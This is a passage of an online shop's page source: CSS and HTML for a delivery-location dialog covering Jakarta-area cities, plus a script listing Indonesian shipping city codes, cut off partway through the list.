14332    position: relative;
14333    overflow-y: auto;
14334  }
14335  .MuiDialog-paperScrollPaper {
14336    display: flex;
14337    max-height: calc(100% - 64px);
14338    flex-direction: column;
14339  }
14340  .MuiDialog-paperWidthSm {
14341    max-width: 600px;
14342  }
14343  #location-lock-dialog {
14344    top: 20%;
14345    left: 0;
14346    right: 0;
14347    width: 30%;
14348    margin: 0px auto;
14349    display: block;
14350    padding: 30px;
14351    z-index: 99999;
14352    position: fixed;
14353    font-size: 14px;
14354    background: rgb(255, 255, 255);
14355    box-shadow: rgba(11, 11, 12, 0.2) 2px 4px 5px 0px;
14356    text-align: center;
14357    font-family: Roboto, Arial, sans-serif;
14358    line-height: 1;
14359    border-radius: 8px;
14360    -webkit-font-smoothing: subpixel-antialiased;
14361  }
14362  .MuiButtonBase-root {
14363    color: inherit;
14364    border: 0;
14365    cursor: pointer;
14366    margin: 0;
14367    display: inline-flex;
14368    outline: 0;
14369    padding: 0;
14370    position: relative;
14371    align-items: center;
14372    user-select: none;
14373    border-radius: 0;
14374    vertical-align: middle;
14375    -moz-appearance: none;
14376    justify-content: center;
14377    text-decoration: none;
14378    background-color: transparent;
14379    -webkit-appearance: none;
14380    -webkit-tap-highlight-color: transparent;
14381  }
14382  .MuiIconButton-root {
14383    flex: 0 0 auto;
14384    color: rgba(0, 0, 0, 0.54);
14385    padding: 12px;
14386    overflow: visible;
14387    font-size: 1.5rem;
14388    text-align: center;
14389    transition: background-color 150ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
14390    border-radius: 50%;
14391  }
14392  .MuiIconButton-label {
14393    width: 100%;
14394    display: flex;
14395    align-items: inherit;
14396    justify-content: inherit;
14397  }
14398  .MuiSvgIcon-root {
14399    fill: currentColor;
14400    width: 1em;
14401    height: 1em;
14402    display: inline-block;
14403    font-size: 1.5rem;
14404    transition: fill 200ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
14405    flex-shrink: 0;
14406    user-select: none;
14407  }
14408  .MuiTouchRipple-root {
14409    top: 0;
14410    left: 0;
14411    right: 0;
14412    bottom: 0;
14413    z-index: 0;
14414    overflow: hidden;
14415    position: absolute;
14416    border-radius: inherit;
14417    pointer-events: none;
14418  }
14419  .jss36 {
14420    color: #222222;
14421    font-size: 24px;
14422    font-family: Roboto, Arial, sans-serif;
14423    font-weight: 500;
14424  }
14425  .jss37 {
14426    color: #555555;
14427    padding: 10px 0px 0px;
14428    font-size: 14px;
14429  }
14430  .MuiFormGroup-root {
14431    display: flex;
14432    flex-wrap: wrap;
14433    flex-direction: column;
14434  }
14435  .MuiFormGroup-row {
14436    flex-direction: row;
14437  }
14438  .jss63 {
14439    width: 85%;
14440    margin: 15px auto;
14441    display: flex;
14442    padding: 11px 0px 0px;
14443    justify-content: space-evenly;
14444  }
14445  .MuiFormControlLabel-root {
14446    cursor: pointer;
14447    display: inline-flex;
14448    align-items: center;
14449    margin-left: -11px;
14450    margin-right: 16px;
14451    vertical-align: middle;
14452    -webkit-tap-highlight-color: transparent;
14453  }
14454  .jss70 {
14455    margin: 0;
14456  }
14457  .MuiButtonBase-root {
14458    color: inherit;
14459    border: 0;
14460    cursor: pointer;
14461    margin: 0;
14462    display: inline-flex;
14463    outline: 0;
14464    padding: 0;
14465    position: relative;
14466    align-items: center;
14467    user-select: none;
14468    border-radius: 0;
14469    vertical-align: middle;
14470    -moz-appearance: none;
14471    justify-content: center;
14472    text-decoration: none;
14473    background-color: transparent;
14474    -webkit-appearance: none;
14475    -webkit-tap-highlight-color: transparent;
14476  }
14477  .MuiIconButton-root {
14478    flex: 0 0 auto;
14479    color: rgba(0, 0, 0, 0.54);
14480    padding: 12px;
14481    overflow: visible;
14482    font-size: 1.5rem;
14483    text-align: center;
14484    transition: background-color 150ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
14485    border-radius: 50%;
14486  }
14487  .MuiIconButton-colorSecondary {
14488    color: #f50057;
14489  }
14490  .jss71 {
14491    padding: 9px;
14492  }
14493  .MuiRadio-root {
14494    color: rgba(0, 0, 0, 0.54);
14495  }
14496  .jss64 {
14497    padding: 2px;
14498  }
14499  .MuiRadio-colorSecondary.Mui-checked {
14500    color: #f50057;
14501  }
14502  .MuiIconButton-label {
14503    width: 100%;
14504    display: flex;
14505    align-items: inherit;
14506    justify-content: inherit;
14507  }
14508  .MuiTypography-root {
14509    margin: 0;
14510  }
14511  .MuiTypography-body1 {
14512    font-size: 18px;
14513    font-family: Roboto,sans-serif;
14514    font-weight: 400;
14515    line-height: 1.5;
14516  }
14517  .location-popup_area-block__sp9Ws {
14518    display: -moz-box;
14519    display: flex;
14520    -moz-box-orient: vertical;
14521    -moz-box-direction: normal;
14522    flex-direction: column;
14523    -moz-box-pack: center;
14524    justify-content: center;
14525    position: relative;
14526    margin: 10px 10% 0;
14527  }
14528  .location-popup_pin-search-box__3l5mJ {
14529    width: 100%;
14530    display: -moz-box;
14531    display: flex;
14532    -moz-box-align: center;
14533    align-items: center;
14534  }
14535  .location-popup_place-icon-city__1XAX5, .location-popup_place-icon__jSG0Q {
14536    position: absolute;
14537    z-index: 999;
14538  }
14539  .location-popup_place-icon__jSG0Q {
14540    color: #212121;
14541    padding-left: 8px;
14542  }
14543  .location-popup_place-icon__jSG0Q svg {
14544    width: 18px;
14545    height: 18px;
14546  }
14547  .location-popup_cancel-icon__FHujU {
14548    color: #fff;
14549    right: 10px;
14550    width: 16px;
14551    cursor: pointer;
14552    height: 16px;
14553    display: none;
14554    padding: 5px;
14555    position: absolute;
14556    background: #999;
14557    text-align: center;
14558    border-radius: 50%;
14559  }
14560  .location-popup_pin-search-box__3l5mJ>div>select {
14561/*     -webkit-box-shadow: 0 0 10px #212121;
14562    box-shadow: 0 0 10px #212121; */
14563    text-transform: capitalize;
14564    border: 1px solid #212121;
14565    color: #212121;
14566    width: 100%;
14567    margin: 0;
14568    display: -moz-box;
14569    display: flex;
14570    padding: 0 30px;
14571    -webkit-animation: location-popup_focuses__1I8Gj 1.5s ease-in-out infinite;
14572    -moz-animation: location-popup_focuses__1I8Gj 1.5s ease-in-out infinite;
14573    animation: location-popup_focuses__1I8Gj 1.5s ease-in-out infinite;
14574    font-size: 16px;
14575    border-radius: 4px;
14576    height: 44px;
14577    moz-animation: location-popup_focuses__1I8Gj ease-in-out 1.5s infinite;
14578    webkit-animation: location-popup_focuses__1I8Gj ease-in-out 1.5s infinite;
14579  }
14580  .MuiButtonBase-root {
14581    color: inherit;
14582    border: 0;
14583    cursor: pointer;
14584    margin: 0;
14585    display: inline-flex;
14586    outline: 0;
14587    padding: 0;
14588    position: relative;
14589    align-items: center;
14590    user-select: none;
14591    border-radius: 0;
14592    vertical-align: middle;
14593    -moz-appearance: none;
14594    justify-content: center;
14595    text-decoration: none;
14596    background-color: transparent;
14597    -webkit-appearance: none;
14598    -webkit-tap-highlight-color: transparent;
14599  }
14600  .MuiButton-root {
14601    color: rgba(0, 0, 0, 0.87);
14602    padding: 6px 16px;
14603    font-size: 0.875rem;
14604    min-width: 64px;
14605    box-sizing: border-box;
14606    transition: background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,border 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
14607    font-family: Roboto,sans-serif;
14608    font-weight: 500;
14609    line-height: 1.75;
14610    border-radius: 4px;
14611    text-transform: uppercase;
14612  }
14613  .MuiButton-contained {
14614    color: rgba(0, 0, 0, 0.87);
14615    box-shadow: 0px 3px 1px -2px rgba(0,0,0,0.2), 0px 2px 2px 0px rgba(0,0,0,0.14), 0px 1px 5px 0px rgba(0,0,0,0.12);
14616    background-color: #e0e0e0;
14617  }
14618  .MuiButtonBase-root.Mui-disabled {
14619    cursor: default;
14620    pointer-events: none;
14621  }
14622  .MuiButton-label {
14623    width: 100%;
14624    display: inherit;
14625    align-items: inherit;
14626    justify-content: inherit;
14627  }
14628  .cartButton_login_content__2j1f7 {
14629    display: -moz-box;
14630    display: flex;
14631    text-align: center;
14632    z-index: 9;
14633    font-size: 18px;
14634    font-weight: 500;
14635    color: #fff;
14636  }
14637  
14638  .jss35 {
14639    top: 5px;
14640    right: 5px;
14641    padding: 4px;
14642    position: absolute;
14643    border-radius: 50%;
14644  }
14645  .jss67 {
14646    cursor: pointer;
14647    font-size: 15px;
14648    line-height: 1.3;
14649    padding-left: 5px;
14650  }
14651  .jss69 {
14652    color: #222222;
14653  }
14654  .jss80 {
14655    color: #fff;
14656    width: 100%;
14657    height: 52px;
14658    padding: 11px 16px;
14659    font-size: 18px;
14660    min-width: 88px;
14661    min-height: 36px;
14662    transition: background-color 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms,box-shadow 250ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;
14663    font-weight: 500;
14664    line-weight: 1em;
14665    border-radius: 4px;
14666    text-transform: uppercase;
14667    background-color: #E87325;
14668  }
14669  @media (min-width: 991px){
14670    .cartButton_login_content__2j1f7 {
14671        font-weight: 500;
14672    }
14673  }
14674
14675  @media (max-width: 992px) {
14676    #location-lock-dialog {
14677      width: 100%;
14678      top: auto;
14679      bottom: 0;
14680      padding-left: 0;
14681      padding-right: 0;
14682    }
14683    .MuiFormGroup-row {
14684      display: block
14685    }
14686    .MuiIconButton-label input {
14687      margin: 0;
14688    }
14689  }
14690</style>
14691<div role="presentation" class="MuiDialog-root jss34" style="display: none;position: fixed; z-index: 9999; inset: 0px;">
14692  <div class="MuiBackdrop-root" aria-hidden="true" style="opacity: 1; transition: opacity 225ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;"></div>
14693  <div tabindex="0" data-test="sentinelStart"></div>
14694  <div class="MuiDialog-container MuiDialog-scrollPaper" role="none presentation" tabindex="-1" style="opacity: 1; transition: opacity 225ms cubic-bezier(0.4, 0, 0.2, 1) 0ms;">
14695    <div class="MuiPaper-root MuiDialog-paper MuiDialog-paperScrollPaper MuiDialog-paperWidthSm MuiPaper-elevation24 MuiPaper-rounded" role="dialog">
14696      <div class="jss31 undefined" id="location-lock-dialog">
14697        <button id="close-popup-delivery" class="MuiButtonBase-root MuiIconButton-root jss35" tabindex="0" type="button" aria-label="close">
14698          <span class="MuiIconButton-label">
14699            <svg class="MuiSvgIcon-root" focusable="false" viewBox="0 0 24 24" aria-hidden="true">
14700              <path d="M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"></path>
14701            </svg>
14702          </span>
14703          <span class="MuiTouchRipple-root"></span>
14704        </button>
14705        <div>
14706          <div class="jss36">Select Delivery Location</div>
14707          <div class="jss37">Select a delivery location to see product availability</div>
14708        </div>
14709        <div class="MuiFormGroup-root jss63 MuiFormGroup-row" role="radiogroup">
14710          <label for="jabodetabek" class="MuiFormControlLabel-root jss45">
14711            <span class="MuiButtonBase-root MuiIconButton-root jss46 MuiRadio-root MuiRadio-colorSecondary jss39 jss47 Mui-checked MuiIconButton-colorSecondary" aria-disabled="false">
14712              <span class="MuiIconButton-label">
14713                <input id="jabodetabek" class="jss49" type="radio" value="Jabodetabek" checked="" name="location">
14714                <span class="jss41"></span>
14715              </span>
14716              <span class="MuiTouchRipple-root"></span>
14717            </span>
14718            <span class="MuiTypography-root MuiFormControlLabel-label MuiTypography-body1">
14719              <span class="jss67 jss69">Jabodetabek</span>
14720            </span>
14721          </label>
14722          <label for="non-jabodetabek" class="MuiFormControlLabel-root jss45">
14723            <span class="MuiButtonBase-root MuiIconButton-root jss46 MuiRadio-root MuiRadio-colorSecondary jss39 MuiIconButton-colorSecondary" aria-disabled="false">
14724              <span class="MuiIconButton-label">
14725                <input id="non-jabodetabek" class="jss49" type="radio" value="Outside Jabodetabek" name="location">
14726                <span class="jss40"></span>
14727              </span>
14728              <span class="MuiTouchRipple-root"></span>
14729            </span>
14730            <span class="MuiTypography-root MuiFormControlLabel-label MuiTypography-body1">
14731              <span class="jss67 jss68">Outside Jabodetabek</span>
14732            </span>
14733          </label>
14734        </div>
14735        <div>
14736          <div class="MuiGrid-root location-popup_area-block__sp9Ws">
14737            <div class="MuiGrid-root location-popup_pin-search-box__3l5mJ false">
14738              <div class="MuiGrid-root location-popup_place-icon__jSG0Q">
14739                <svg class="MuiSvgIcon-root jss6" focusable="false" viewBox="0 0 24 24" aria-hidden="true" style="font-size:16px"><path d="M12 2C8.13 2 5 5.13 5 9c0 5.25 7 13 7 13s7-7.75 7-13c0-3.87-3.13-7-7-7zm0 9.5c-1.38 0-2.5-1.12-2.5-2.5s1.12-2.5 2.5-2.5 2.5 1.12 2.5 2.5-1.12 2.5-2.5 2.5z"></path></svg>
14740              </div>
14741              <div class="MuiGrid-root location-popup_cancel-icon__FHujU false">
14742                <i class="material-icons location-popup_clear-pin__s1dRc">close</i>
14743              </div>
14744              <div style="width: 100%;">
14745                <select id="choose-location" class="form-control">
14746                  <option value="">Choose Location</option>
14747                  <option value="jakarta">Jakarta</option>
14748                  <option value="bogor">Bogor</option>
14749                  <option value="depok">Depok</option>
14750                  <option value="tangerang">Tangerang</option>
14751                  <option value="bekasi">Bekasi</option>
14752                </select>
14753              </div>
14754            </div>
14755          </div>
14756        </div>
14757        <button class="MuiButtonBase-root MuiButton-root MuiButton-contained jss55" tabindex="-1" type="button" title="" id="location-lock-submit" data-idforcdp="actionBtn-cdp" data-testid="location-lock-submit" style="background-color: #212121; width: 80%; padding: 14px 0px 12px; margin: 20px 0px; font-size: 18px; font-weight: 500; box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 4px 0px; border-radius: 4px; color: rgb(255, 255, 255); height: 44px;" data-content="">
14758          <span class="MuiButton-label">
14759            <span class=""></span>
14760            <span id="location-lock-continue-btn" class="cartButton_login_content__2j1f7" style="font-weight: 500;" data-content="">Continue Shopping</span>
14761          </span>
14762        </button>
14763      </div>
14764    </div>
14765  </div>
14766  <div tabindex="0" data-test="sentinelEnd"></div>
14767</div>
14768
14769<script>
14770  const jabodetabek = [
14771    {
14772      "code": "jakarta",
14773      "city": "jakarta",
14774      "zip": []
14775    },
14776    {
14777      "code": "bogor",
14778      "city": "bogor",
14779      "zip": []
14780    },
14781    {
14782      "code": "depok",
14783      "city": "depok",
14784      "zip": []
14785    },
14786    {
14787      "code": "tangerang",
14788      "city": "tangerang",
14789      "zip": []
14790    },
14791    {
14792      "code": "bekasi",
14793      "city": "bekasi",
14794      "zip": []
14795    }
14796  ]
14797  let cityNonJabodetabek = [
14798    
14799    
14800    
14801    
14802    
14803    
14804    
14805    
14806    
14807    
14808    
14809    
14810    
14811    
14812    
14813    
14814    
14815    
14816    
14817    
14818    
14819    
14820    
14821    
14822    
14823    
14824    
14825    
14826    
14827    
14828    
14829    
14830    
14831    
14832    
14833    
14834    
14835    
14836    
14837    
14838    
14839    
14840    
14841    
14842    
14843    
14844    
14845    
14846    
14847    
14848    
14849    
14850    
14851    
14852    
14853    
14854    
14855    
14856    
14857    
14858    
14859    
14860    
14861    
14862    
14863    
14864    
14865    
14866    
14867    
14868    
14869    
14870    
14871    
14872    
14873    
14874    
14875    
14876    
14877    
14878    
14879    
14880    
14881    
14882    
14883    
14884    
14885    
14886    
14887    
14888    
14889    
14890    
14891    
14892    
14893    
14894    
14895    
14896    
14897    
14898    
14899    
14900    
14901    
14902    
14903    
14904    
14905    
14906    
14907    
14908    
14909    
14910    
14911    
14912    
14913    
14914    
14915    
14916    
14917    
14918    
14919    
14920    
14921    
14922    
14923    
14924    
14925    
14926    
14927    
14928    
14929    
14930    
14931    
14932    
14933    
14934    
14935    
14936    
14937    
14938    
14939    
14940    
14941    
14942    
14943    
14944    
14945    
14946    
14947    
14948    
14949    
14950    
14951    
14952    
14953    
14954    
14955    
14956    
14957    
14958    
14959    
14960    
14961    
14962    
14963    
14964    
14965    
14966    
14967    
14968    
14969    
14970    
14971    
14972    
14973    
14974    
14975    
14976    
14977    
14978    
14979    
14980    
14981    
14982    
14983    
14984    
14985    
14986    
14987    
14988    
14989    
14990    
14991    
14992    
14993    
14994    
14995    
14996    
14997    
14998    
14999    
15000    
15001    
15002    
15003    
15004    
15005    
15006    
15007    
15008    
15009    
15010    
15011    
15012    
15013    
15014    
15015    
15016    
15017    
15018    
15019    
15020    
15021    
15022    
15023    
15024    
15025    
15026    
15027    
15028    
15029    
15030    
15031    
15032    
15033    
15034    
15035    
15036    
15037    
15038    
15039    
15040    
15041    
15042    
15043    
15044    
15045    
15046    
15047    
15048    
15049    
15050    
15051    
15052    
15053    
15054    
15055    
15056    
15057    
15058    
15059    
15060    
15061    
15062    
15063    
15064    
15065    
15066    
15067    
15068    
15069    
15070    
15071    
15072    
15073    
15074    
15075    
15076    
15077    
15078    
15079    
15080    
15081    
15082    
15083    
15084    
15085    
15086    
15087    
15088    
15089    
15090    
15091    
15092    
15093    
15094    
15095    
15096    
15097    
15098    
15099    
15100    
15101    
15102    
15103    
15104    
15105    
15106    
15107    
15108    
15109    
15110    
15111    
15112    
15113    
15114    
15115    
15116    
15117    
15118    
15119    
15120    
15121    
15122    
15123    
15124    
15125    
15126    
15127    
15128    
15129    
15130    
15131    
15132    
15133    
15134    
15135    
15136    
15137    
15138    
15139    
15140    
15141    
15142    
15143    
15144    
15145    
15146    
15147    
15148    
15149    
15150    
15151    
15152    
15153    
15154    
15155    
15156    
15157    
15158    
15159    
15160    
15161    
15162    
15163    
15164    
15165    
15166    
15167    
15168    
15169    
15170    
15171    
15172    
15173    
15174    
15175    
15176    
15177    
15178    
15179    
15180    
15181    
15182    
15183    
15184    
15185    
15186    
15187    
15188    
15189    
15190    
15191    
15192    
15193    
15194    
15195    
15196    
15197    
15198    
15199    
15200    
15201    
15202    
15203    
15204    
15205    
15206    
15207    
15208    
15209    
15210    
15211    
15212    
15213    
15214    
15215    
15216    
15217    
15218    
15219    
15220    
15221    
15222    
15223    
15224    
15225    
15226    
15227    
15228    
15229    
15230    
15231    
15232    
15233    
15234    
15235    
15236    
15237    
15238    
15239    
15240    
15241    
15242    
15243    
15244    
15245    
15246    
15247    
15248    
15249    
15250    
15251    
15252    
15253    
15254    
15255    
15256    
15257    
15258    
15259    
15260    
15261    
15262    
15263    
15264    
15265    
15266    
15267    
15268    
15269    
15270    
15271    
15272    
15273    
15274    
15275    
15276    
15277    
15278    
15279    
15280    
15281    
15282    
15283    
15284    
15285    
15286    
15287    
15288    
15289    
15290    
15291    
15292    
15293    
15294    
15295    
15296    
15297    
15298    
15299    
15300    
15301    
15302    
15303    
15304    
15305    
15306    
15307    
15308    
15309    
15310    
15311    
15312    
15313    
15314    
15315    
15316    
15317    
15318    
15319    
15320    
15321    
15322    
15323    
15324    
15325    
15326    
15327    
15328    
15329    
15330    
15331    
15332    
15333    
15334    
15335    
15336    
15337    
15338    
15339    
15340    
15341    
15342    
15343    
15344    
15345    
15346    
15347    
15348    
15349    
15350    
15351    
15352    
15353    
15354    
15355    
15356    
15357    
15358    
15359    
15360    
15361    
15362    
15363    
15364    
15365    
15366    
15367    
15368    
15369    
15370    
15371    
15372    
15373    
15374    
15375    
15376    
15377    
15378    
15379    
15380    
15381    
15382    
15383    
15384    
15385    
15386    
15387    
15388    
15389    
15390    
15391    
15392    
15393    
15394    
15395    
15396    
15397    
15398    
15399    
15400    
15401    
15402    
15403    
15404    
15405    
15406    
15407    
15408    
15409    
15410    
15411    
15412    
15413    
15414    
15415    
15416    
15417    
15418    
15419    
15420    
15421    
15422    
15423    
15424    
15425    
15426    
15427    
15428    
15429    
15430    
15431    
15432    
15433    
15434    
15435    
15436    
15437    
15438    
15439    
15440    
15441    
15442    
15443    
15444    
15445    
15446    
15447    
15448    
15449    
15450    
15451    
15452    
15453    
15454    
15455    
15456    
15457    
15458    
15459    
15460    
15461    
15462    
15463    
15464    
15465    
15466    
15467    
15468    
15469    
15470    
15471    
15472    
15473    
15474    
15475    
15476    
15477    
15478    
15479    
15480    
15481    
15482    
15483    
15484    
15485    
15486    
15487    
15488    
15489    
15490    
15491    
15492    
15493    
15494    
15495    
15496    
15497    
15498    
15499    
15500    
15501    
15502    
15503    
15504    
15505    
15506    
15507    
15508    
15509    
15510    
15511    
15512    
15513    
15514    
15515    
15516    
15517    
15518    
15519    
15520    
15521    
15522    
15523    
15524    
15525    
15526    
15527    
15528    
15529    
15530    
15531    
15532    
15533    
15534    
15535    
15536    
15537    
15538    
15539    
15540    
15541    
15542    
15543    
15544    
15545    
15546    
15547    
15548    
15549    
15550    
15551    
15552    
15553    
15554    
15555    
15556    
15557    
15558    
15559    
15560    
15561    
15562    
15563    
15564    
15565    
15566    
15567    
15568    
15569    
15570    
15571    
15572    
15573    
15574    
15575    
15576    
15577    
15578    
15579    
15580    
15581    
15582    
15583    
15584    
15585    
15586    
15587    
15588    
15589    
15590    
15591    
15592    
15593    
15594    
15595    
15596    
15597    
15598    
15599    
15600    
15601    
15602    
15603    
15604    
15605    
15606    
15607    
15608    
15609    
15610    
15611    
15612    
15613    
15614    
15615    
15616    
15617    
15618    
15619    
15620    
15621    
15622    
15623    
15624    
15625    
15626    
15627    
15628    
15629    
15630    
15631    
15632    
15633    
15634    
15635    
15636    
15637    
15638    
15639    
15640    
15641    
15642    
15643    
15644    
15645    
15646    
15647    
15648    
15649    
15650    
15651    
15652    
15653    
15654    
15655    
15656    
15657    
15658    
15659    
15660    
15661    
15662    
15663    
15664    
15665    
15666    
15667    
15668    
15669    
15670    
15671    
15672    
15673    
15674    
15675    
15676    
15677    
15678    
15679    
15680    
15681    
15682    
15683    
15684    
15685    
15686    
15687    
15688    
15689    
15690    
15691    
15692    
15693    
15694    
15695    
15696    
15697    
15698    
15699    
15700    
15701    
15702    
15703    
15704    
15705    
15706    
15707    
15708    
15709    
15710    
15711    
15712    
15713    
15714    
15715    
15716    
15717    
15718    
15719    
15720    
15721    
15722    
15723    
15724    
15725    
15726    
15727    
15728    
15729    
15730    
15731    
15732    
15733    
15734    
15735    
15736    
15737    
15738    
15739    
15740    
15741    
15742    
15743    
15744    
15745    
15746    
15747    
15748    
15749    
15750    
15751    
15752    
15753    
15754    
15755    
15756    
15757    
15758    
15759    
15760    
15761    
15762    
15763    
15764    
15765    
15766    
15767    
15768    
15769    
15770    
15771    
15772    
15773    
15774    
15775    
15776    
15777    
15778    
15779    
15780    
15781    
15782    
15783    
15784    
15785    
15786    
15787    
15788    
15789    
15790    
15791    
15792    
15793    
15794    
15795    
15796    
15797    
15798    
15799    
15800    
15801    
15802    
15803    
15804    
15805    
15806    
15807    
15808    
15809    
15810    
15811    
15812    
15813    
15814    
15815    
15816    
15817    
15818    
15819    
15820    
15821    
15822    
15823    
15824    
15825    
15826    
15827    
15828    
15829    
15830    
15831    
15832    
15833    
15834    
15835    
15836    
15837    
15838    
15839    
15840    
15841    
15842    
15843    
15844    
15845    
15846    
15847    
15848    
15849    
15850    
15851    
15852    
15853    
15854    
15855    
15856    
15857    
15858    
15859    
15860    
15861    
15862    
15863    
15864    
15865    
15866    
15867    
15868    
15869    
15870    
15871    
15872    
15873    
15874    
15875    
15876    
15877    
15878    
15879    
15880    
15881    
15882    
15883    
15884    
15885    
15886    
15887    
15888    
15889    
15890    
15891    
15892    
15893    
15894    
15895    
15896    
15897    
15898    
15899    
15900    
15901    
15902    
15903    
15904    
15905    
15906    
15907    
15908    
15909    
15910    
15911    
15912    
15913    
15914    
15915    
15916    
15917    
15918    
15919    
15920    
15921    
15922    
15923    
15924    
15925    
15926    
15927    
15928    
15929    
15930    
15931    
15932    
15933    
15934    
15935    
15936    
15937    
15938    
15939    
15940    
15941    
15942    
15943    
15944    
15945    
15946    
15947    
15948    
15949    
15950    
15951    
15952    
15953    
15954    
15955    
15956    
15957    
15958    
15959    
15960    
15961    
15962    
15963    
15964    
15965    
15966    
15967    "pengiriman_aceh",
15968    
15969    
15970    
15971    
15972    
15973    "pengiriman_ambon",
15974    
15975    
15976    
15977    
15978    
15979    "pengiriman_atambua",
15980    
15981    
15982    
15983    
15984    
15985    "pengiriman_badung",
15986    
15987    
15988    
15989    
15990    
15991    "pengiriman_bali",
15992    
15993    
15994    
15995    
15996    
15997    "pengiriman_balikpapan",
15998    
15999    
16000    
16001    
16002    
16003    "pengiriman_bandar lampung",
16004    
16005    
16006    
16007    
16008    
16009    "pengiriman_bandung",
16010    
16011    
16012    
16013    
16014    
16015    "pengiriman_bandung barat",
16016    
16017    
16018    
16019    
16020    
16021    "pengiriman_banjarmasin",
16022    
16023    
16024    
16025    
16026    
16027    "pengiriman_banyumas",
16028    
16029    
16030    
16031    
16032    
16033    "pengiriman_banyuwangi",
16034    
16035    
16036    
16037    
16038    
16039    "pengiriman_batam",
16040    
16041    
16042    
16043    
16044    
16045    
16046    
16047    
16048    
16049    "pengiriman_biak",
16050    
16051    
16052    
16053    
16054    
16055    "pengiriman_binjai",
16056    
16057    
16058    
16059    
16060    
16061    "pengiriman_blitar",
16062    
16063    
16064    
16065    
16066    
16067    "pengiriman_blora",
16068    
16069    
16070    
16071    
16072    
16073    
16074    
16075    
16076    
16077    "pengiriman_bojonegoro",
16078    
16079    
16080    
16081    
16082    
16083    "pengiriman_boyolali",
16084    
16085    
16086    
16087    
16088    
16089    "pengiriman_bukittinggi",
16090    
16091    
16092    
16093    
16094    
16095    "pengiriman_buleleng",
16096    
16097    
16098    
16099    
16100    
16101    "pengiriman_ciamis",
16102    
16103    
16104    
16105    
16106    
16107    "pengiriman_cianjur",
16108    
16109    
16110    
16111    
16112    
16113    "pengiriman_cibinong",
16114    
16115    
16116    
16117    
16118    
16119    "pengiriman_cikarang",
16120    
16121    
16122    
16123    
16124    
16125    "pengiriman_cikupa",
16126    
16127    
16128    
16129    
16130    
16131    "pengiriman_cilacap",
16132    
16133    
16134    
16135    
16136    
16137    "pengiriman_cileunyi",
16138    
16139    
16140    
16141    
16142    
16143    "pengiriman_cimahi",
16144    
16145    
16146    
16147    
16148    
16149    "pengiriman_cirebon",
16150    
16151    
16152    
16153    
16154    
16155    "pengiriman_ciwidey",
16156    
16157    
16158    
16159    
16160    
16161    "pengiriman_deli serdang",
16162    
16163    
16164    
16165    
16166    
16167    "pengiriman_demak",
16168    
16169    
16170    
16171    
16172    
16173    "pengiriman_denpasar",
16174    
16175    
16176    
16177    
16178    
16179    
16180    
16181    
16182    
16183    "pengiriman_garut",
16184    
16185    
16186    
16187    
16188    
16189    "pengiriman_gianyar",
16190    
16191    
16192    
16193    
16194    
16195    "pengiriman_gresik",
16196    
16197    
16198    
16199    
16200    
16201    "pengiriman_gunung kidul",
16202    
16203    
16204    
16205    
16206    
16207    
16208    
16209    
16210    
16211    "pengiriman_jambi",
16212    
16213    
16214    
16215    
16216    
16217    "pengiriman_jayapura",
16218    
16219    
16220    
16221    
16222    
16223    "pengiriman_jember",
16224    
16225    
16226    
16227    
16228    
16229    "pengiriman_jepara",
16230    
16231    
16232    
16233    
16234    
16235    "pengiriman_jombang",
16236    
16237    
16238    
16239    
16240    
16241    "pengiriman_karanganyar",
16242    
16243    
16244    
16245    
16246    
16247    "pengiriman_karawang",
16248    
16249    
16250    
16251    
16252    
16253    "pengiriman_karo",
16254    
16255    
16256    
16257    
16258    
16259    "pengiriman_kebumen",
16260    
16261    
16262    
16263    
16264    
16265    "pengiriman_kediri",
16266    
16267    
16268    
16269    
16270    
16271    "pengiriman_keerom",
16272    
16273    
16274    
16275    
16276    
16277    "pengiriman_kendal",
16278    
16279    
16280    
16281    
16282    
16283    "pengiriman_klaten",
16284    
16285    
16286    
16287    
16288    
16289    
16290    
16291    
16292    
16293    "pengiriman_kudus",
16294    
16295    
16296    
16297    
16298    
16299    "pengiriman_kupang",
16300    
16301    
16302    
16303    
16304    
16305    "pengiriman_lainnya",
16306    
16307    
16308    
16309    
16310    
16311    "pengiriman_lamongan",
16312    
16313    
16314    
16315    
16316    
16317    "pengiriman_lampung",
16318    
16319    
16320    
16321    
16322    
16323    "pengiriman_lampung barat",
16324    
16325    
16326    
16327    
16328    
16329    "pengiriman_lembang",
16330    
16331    
16332    
16333    
16334    
16335    "pengiriman_lombok",
16336    
16337    
16338    
16339    
16340    
16341    "pengiriman_lumajang",
16342    
16343    
16344    
16345    
16346    
16347    "pengiriman_madiun",
16348    
16349    
16350    
16351    
16352    
16353    "pengiriman_magelang",
16354    
16355    
16356    
16357    
16358    
16359    "pengiriman_majalengka",
16360    
16361    
16362    
16363    
16364    
16365    "pengiriman_makassar",
16366    
16367    
16368    
16369    
16370    
16371    "pengiriman_malang",
16372    
16373    
16374    
16375    
16376    
16377    "pengiriman_manado",
16378    
16379    
16380    
16381    
16382    
16383    "pengiriman_medan",
16384    
16385    
16386    
16387    
16388    
16389    "pengiriman_mengwi",
16390    
16391    
16392    
16393    
16394    
16395    "pengiriman_mojokerto",
16396    
16397    
16398    
16399    
16400    
16401    "pengiriman_nganjuk",
16402    
16403    
16404    
16405    
16406    
16407    "pengiriman_ngawi",
16408    
16409    
16410    
16411    
16412    
16413    "pengiriman_padang",
16414    
16415    
16416    
16417    
16418    
16419    "pengiriman_palembang",
16420    
16421    
16422    
16423    
16424    
16425    "pengiriman_palu",
16426    
16427    
16428    
16429    
16430    
16431    "pengiriman_pasuruan",
16432    
16433    
16434    
16435    
16436    
16437    "pengiriman_pati",
16438    
16439    
16440    
16441    
16442    
16443    "pengiriman_pekalongan",
16444    
16445    
16446    
16447    
16448    
16449    "pengiriman_pekanbaru",
16450    
16451    
16452    
16453    
16454    
16455    "pengiriman_pemalang",
16456    
16457    
16458    
16459    
16460    
16461    "pengiriman_ponorogo",
16462    
16463    
16464    
16465    
16466    
16467    "pengiriman_pontianak",
16468    
16469    
16470    
16471    
16472    
16473    "pengiriman_probolinggo",
16474    
16475    
16476    
16477    
